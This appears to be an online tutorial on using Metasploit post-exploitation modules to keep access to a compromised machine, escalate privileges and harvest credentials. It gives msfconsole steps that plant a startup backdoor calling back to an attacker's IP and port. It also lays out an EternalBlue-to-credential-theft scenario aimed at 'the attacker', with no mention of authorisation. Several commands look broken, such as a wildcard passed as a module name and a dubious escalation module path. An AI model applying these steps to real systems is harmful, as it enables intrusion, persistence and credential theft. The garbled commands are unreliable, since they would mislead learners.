How to maintain access on a compromised system using Metasploit Post-Exploitation modules

Introduction

In the realm of Cybersecurity, maintaining access to a compromised system is a critical skill. This tutorial will guide you through the process of leveraging Metasploit's powerful Post-Exploitation modules to establish and maintain persistent access on a targeted system. By the end of this article, you will have a comprehensive understanding of how to effectively utilize these tools to enhance your Cybersecurity skillset.

Skills Graph

Understanding Metasploit Post-Exploitation

What is Metasploit Post-Exploitation?

Metasploit Post-Exploitation refers to the set of tools and techniques within the Metasploit Framework that are used to maintain access and control over a compromised system. After an initial foothold is established through a successful exploit, the post-exploitation phase allows the attacker to gather more information, elevate privileges, and persist on the target system.

Key Concepts of Post-Exploitation

1. Information Gathering: Collecting system details, user accounts, network configurations, and other valuable data from the compromised host.
2. Privilege Escalation: Obtaining higher levels of access and permissions on the target system, such as from a standard user to an administrator or root user.
3. Persistence: Ensuring the attacker can maintain access to the compromised system, even after the initial exploit has been discovered and mitigated.
4. Lateral Movement: Expanding the attacker's reach by moving from the initial compromised host to other systems within the same network.

Metasploit Post-Exploitation Modules

Metasploit provides a wide range of post-exploitation modules that can be leveraged to achieve these goals. Some of the commonly used modules include:

• post/windows/gather/credentials/*: Modules for extracting various types of credentials from the compromised Windows system.
• post/linux/gather/enum_users_history: Gathers user history information from a compromised Linux system.
• post/multi/manage/shell_to_meterpreter: Upgrades a shell session to a more powerful Meterpreter session.
• post/windows/manage/persistence_*: Modules for establishing persistent access on the compromised Windows system.

Leveraging Metasploit Modules for Maintaining Access

Maintaining Persistent Access

To maintain persistent access to the compromised system, Metasploit offers various modules that can be used to establish a reliable and long-lasting connection. One of the most commonly used modules is the post/windows/manage/persistence_* module, which allows the attacker to create a backdoor that will automatically run on system startup.

Persistence Module Example

1. Launch the Metasploit console on the attacker's Ubuntu 22.04 system:

   msfconsole

2. Use the persistence module:

   use post/windows/manage/persistence_*

3. Set the required options, such as the LHOST (attacker's IP address) and LPORT (listening port):

   set LHOST 192.168.1.100
   set LPORT 4444

4. Run the module to establish persistent access on the target system:

   run

Privilege Escalation

Gaining elevated privileges on the compromised system is crucial for further exploitation and information gathering. Metasploit provides various modules to assist with privilege escalation, such as post/windows/escalate/* and post/linux/escalate/*.

Privilege Escalation Example (Windows)

1. Use the post/windows/escalate/ms16_032_secondary_logon_handle_privesc module:

   use post/windows/escalate/ms16_032_secondary_logon_handle_privesc

2. Set the required options, such as the SESSION number:

   set SESSION 1

3. Run the module to attempt privilege escalation:

   run

Information Gathering

Metasploit's post-exploitation modules can be used to gather valuable information about the compromised system, such as user accounts, network configurations, and running processes. This information can be used to further expand the attacker's access and control over the target system.

Information Gathering Example (Linux)

1. Use the post/linux/gather/enum_users_history module:

   use post/linux/gather/enum_users_history

2. Set the required options, such as the SESSION number:

   set SESSION 1

3. Run the module to gather user history information:

   run

The information gathered through these post-exploitation modules can be used to plan the next steps in the attack, such as lateral movement or data exfiltration.

Practical Application of Post-Exploitation Techniques

Scenario: Compromising a Windows System

In this scenario, we'll demonstrate the practical application of post-exploitation techniques on a compromised Windows system.

Initial Exploitation

1. Establish an initial foothold on the target system using a Metasploit exploit, such as exploit/windows/smb/ms17_010_eternalblue.
2. Obtain a shell or Meterpreter session on the compromised system.

Maintaining Persistent Access

1. Use the post/windows/manage/persistence_* module to create a persistent backdoor on the target system.
2. Configure the persistence module to automatically run the payload on system startup.
3. Verify the persistence mechanism by rebooting the target system and ensuring the attacker can still connect.

Privilege Escalation

1. Assess the current user privileges on the compromised system.
2. Use the post/windows/escalate/ms16_032_secondary_logon_handle_privesc module to attempt privilege escalation.
3. Verify the successful privilege escalation by checking the new user context.

Information Gathering

1. Utilize the post/windows/gather/credentials/* modules to extract sensitive information, such as user credentials, from the compromised system.
2. Gather additional system information, such as network configurations and running processes, using modules like post/windows/gather/enum_logged_on_users and post/windows/gather/enum_processes.

By applying these post-exploitation techniques, the attacker can maintain access, elevate privileges, and gather valuable information from the compromised Windows system, paving the way for further lateral movement and data exfiltration.

Summary

This Cybersecurity tutorial has provided a comprehensive overview of using Metasploit's Post-Exploitation modules to maintain access on a compromised system. By understanding the capabilities of these powerful tools, you can enhance your Cybersecurity skillset and effectively manage access to targeted systems. Whether you're a security professional or an aspiring hacker, the techniques covered in this article will empower you to take your Cybersecurity knowledge to new heights.